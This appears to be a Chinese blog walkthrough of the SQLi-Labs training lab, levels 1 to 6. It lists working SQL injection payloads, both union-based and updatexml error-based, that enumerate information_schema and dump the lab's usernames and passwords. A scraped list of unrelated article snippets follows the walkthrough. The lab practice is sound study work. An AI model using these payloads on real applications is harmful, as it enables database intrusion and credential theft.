前言

关于注释

说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格

MYSQL有三种常用注释:

--[空格]注释内容
#注释内容(url中使用23%)
/*注释内容*/

第一关

测试注入类型:

http://192.168.142.136/sqli/Less-1/?id=1'

报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

http://192.168.142.136/sqli/Less-1/?id=1 and 1=1

返回正常

http://192.168.142.136/sqli/Less-1/?id=1' and 1=1--+

返回正常

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2--+

返回异常,综上,字符型注入

http://192.168.142.136/sqli/Less-1/?id=1' order by 3--+

查询到有3个字段

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select1,2,3--+

爆出显示位2,3

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,concat(user(),database(),version()),3--+

http://192.168.142.136/sqli/Less-1/?id=1'and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

得到数据库security的所有表名:emails,referers,uagents,users

192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

得到列名:id,username,password

192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,password) from security.users),3 --+

得到:

DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,adm

第二关

数字型注入

1、http://192.168.142.136/sqli/Less-2/?id=2 order by 3
2、http://192.168.142.136/sqli/Less-2/?id=2 and 1=2 union select 1,2,3
···
和上面一题基本一样,没啥说的了

第三关

http://192.168.142.136/sqli/Less-3/?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以看到是有括号的,那么构造就是

1、http://192.168.142.136/sqli/Less-3/?id=1') order by 3%23
2、http://192.168.142.136/sqli/Less-3/?id=22') union select 1,2,3%23
3、http://192.168.142.136/sqli/Less-3/?id=22') union select 1,concat(database(),version(),user()),3%23
···
后面也没啥说的了,就和第一关一样操作下来

第四关

加单引号不报错,双引号报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1

可以得到闭合方式为:("")

http://192.168.142.136/sqli/Less-4/?id=2") order by 3%23

和第三关差不多,不再赘述

第五关

这一关有些不同,没有显示位,没法使用联合注入去查询数据

加单引号报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

那么通过报错注入

利用函数updatexml()函数

获取:user(),database(),version()

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
得到:XPATH syntax error: '~root@localhost~'
同样的获取:database(),version()

现在来获取数据库库名:

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)%23
得到:XPATH syntax error: '~information_schema~'

爆数据库表名:(可通过改变limit的参数一个个输出,或者使用:group_concat函数)

' and updatexml(1,concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),1)%23
得到:XPATH syntax error: '~emails'

爆字段名:

' and updatexml(1,concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),1)%23
得到:XPATH syntax error: '~id'

爆数据:

' and updatexml(1,concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1)),1)%23

第六关

和第五关一样,不过是改了下闭合方式,加单引号不报错,加双引号报错

第七关

SQL注入系列:SQLi Labs的更多相关文章

  1. (其他)SQL注入(转)

    转自维基百科: SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序,在这种应用程序中,恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者).[1] SQL注入必须利用应用程序软件 ...

  2. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  3. SQL注入是什么?如何防止?

    SQL注入是什么?如何防止? SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? ...

  4. DoraBox sql注入&文件上传

    SQL注入 1.sqli数字型 判断是否存在注入点,执行1 and 1=1,有回显判断存在注入点 判断字段数,执行1 order by 3以及执行1 order by 4时报错,判断字段数为3 判断具 ...

  5. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  6. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  7. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  8. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  9. 【云盘资料】Sql注入从菜鸟到高手系列教程

    [云盘资料]Sql注入从菜鸟到高手系列教程 ps:Sql注入从菜鸟到高手系列教程 链接:阅读原文获取资料:http://bbs.ichunqiu.com/thread-6851-1-1.html 反馈 ...

随机推荐

  1. 认识setFactory

    平常设置或者获取一个View时,用的较多的是setContentView或LayoutInflater#inflate,setContentView内部也是通过调用LayoutInflater#inf ...

  2. (三)修改内核大小,适配目标板Nand flash分区配置

    一. 修改内核大小 1. 在你的配置文件下uboot/include/config/xxx.h 里面有一个宏定义 #define MTDPARTS_DEFAULT "mtdparts=jz2 ...

  3. MVC 入门

    MVC是什么? MVC是一个框架模式,它用于把应用程序的输入.处理和输出进行强制性的分开.使用MVC应用程序被分成三个核心部件:模型.视图.控制器.它们各自处理自己的任务.最典型的MVC就是JSP+S ...

  4. Javascript对checkbox勾选判断,错误提示和按钮变色操作

    同意相关条款未打钩时,登录按钮为灰色且无法提交,点击灰色的登录按钮提示同意相关条款,打钩后变成亮色且可以提交信息. 勾选框及文字: <div class="check-rule&quo ...

  5. selenuim,webdriver 基础3

    代码要多敲 注释要清晰 哪怕很简单 对基础1和2 的补充 可以结合1和2来学习 from selenium import webdriver #生成浏览器对象 driver = webdriver.P ...

  6. Cocos2d-x之Array

    |   版权声明:本文为博主原创文章,未经博主允许不得转载. Array是一个列表类容器,是一种线性序列结构:列表容器中的元素是有序的,可以通过下标来访问,就和数组一样.其中Vector也是一种列表容 ...

  7. BZOJ 4003 (可并堆)

    题面 小铭铭最近获得了一副新的桌游,游戏中需要用 m 个骑士攻占 n 个城池. 这 n 个城池用 1 到 n 的整数表示.除 1 号城池外,城池 i 会受到另一座城池 fi 的管辖, 其中 fi &l ...

  8. easyUI学习笔记二

    1.  拖拉大小 <!DOCTYPE html> <html> <head> <title>easyui学习</title> <scr ...

  9. Python之实现迭代器协议

    什么是迭代器: --迭代器(迭代就是循环) 可以被next()函数调用并不断返回下一个值的对象称为迭代器:Iterator 可迭代对象有: 一类是集合数据类型,如list,tuple,dict,set ...

  10. vue,数组循环中src路径下图片总是不展示

    每次数组中带图片的src,图片总是不展示,搞得都怀疑是不是姿势不对.经过各方查看,还真不对 原因是因为图片路径在assets,所以需要require一下.其实就是require('path') 如a[ ...